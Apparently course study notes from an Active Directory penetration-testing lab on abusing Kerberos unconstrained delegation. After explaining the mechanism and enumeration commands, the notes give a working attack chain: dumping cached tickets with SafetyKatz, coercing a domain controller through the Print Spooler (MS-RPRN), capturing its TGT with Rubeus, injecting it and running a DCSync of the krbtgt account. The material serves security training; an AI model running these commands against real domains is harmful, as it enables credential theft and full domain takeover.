Uncostrained Delegation

Unconstrained Delegation

Unconstrained delegation allows a service to impersonate a user to any other service in the domain. When this is enabled, the domain controller includes the user's TGT in the TGS. The TGT is then extracted by the service and stored in LSASS, allowing it to be reused for impersonation. This behavior makes unconstrained delegation highly abusable.

Delegation Process Flow:

1. A user authenticates to the Domain Controller and receives a TGT.

2. The user requests a TGS for a service (e.g., a web server).

3. The user sends both the TGT and the TGS to the service.

4. The service extracts the user's TGT and requests a new TGS to access another resource (e.g., a database server).

5. The service authenticates to the second server as the user.

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Enumeration

To identify domain machines or users with unconstrained delegation enabled:

• PowerView:

  Get-DomainComputer -Unconstrained

• ActiveDirectory Module:

  Get-ADComputer -Filter {TrustedForDelegation -eq $True}
  Get-ADUser -Filter {TrustedForDelegation -eq $True}

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Abusing Unconstrained Delegation

1. Compromise a server with unconstrained delegation enabled.

2. Wait for or coerce a domain admin to authenticate to it.

3. Dump cached TGTs:

   SafetyKatz.exe "sekurlsa::tickets /export"

4. Inject a Domain Admin’s TGT:

   SafetyKatz.exe "kerberos::ptt C:\Users\appadmin\Documents\user1\[0;2ceb8b3][e-mail]"

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Coercion Techniques

Certain Windows services allow any authenticated user to coerce one machine into authenticating to another. These include:

Protocol	Service	Default Enabled	Port
MS-RPRN	Print Spooler	Yes	445 SMB
MS-WSP	Windows Search	No	445 SMB
MS-DFSNM	DFS Namespace Mgmt	No	445 SMB

Use these coercion techniques to force authentication from a DC to a controlled host.

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Capturing and Reusing the TGT

1. On the attacker's controlled server (e.g., dcorp-appsrv), monitor for TGTs:

   Rubeus.exe monitor /interval:5 /nowrap

2. On the student's VM, coerce authentication using MS-RPRN:

   MS-RPRN.exe \\dcorp-dc.dollarcorp.moneycorp.local \\dcorp-appsrv.dollarcorp.moneycorp.local

3. Once the TGT is captured (Base64 encoded), inject it into memory:

   Rubeus.exe ptt /ticket:<Base64_TGT>

4. Dump secrets using DCSync:

   SafetyKatz.exe "lsadump::dcsync /user:dcorp\krbtgt"

Lab

• Learning Object 15

Labs

• Learning Object 16 lab

• Learning Object 17 lab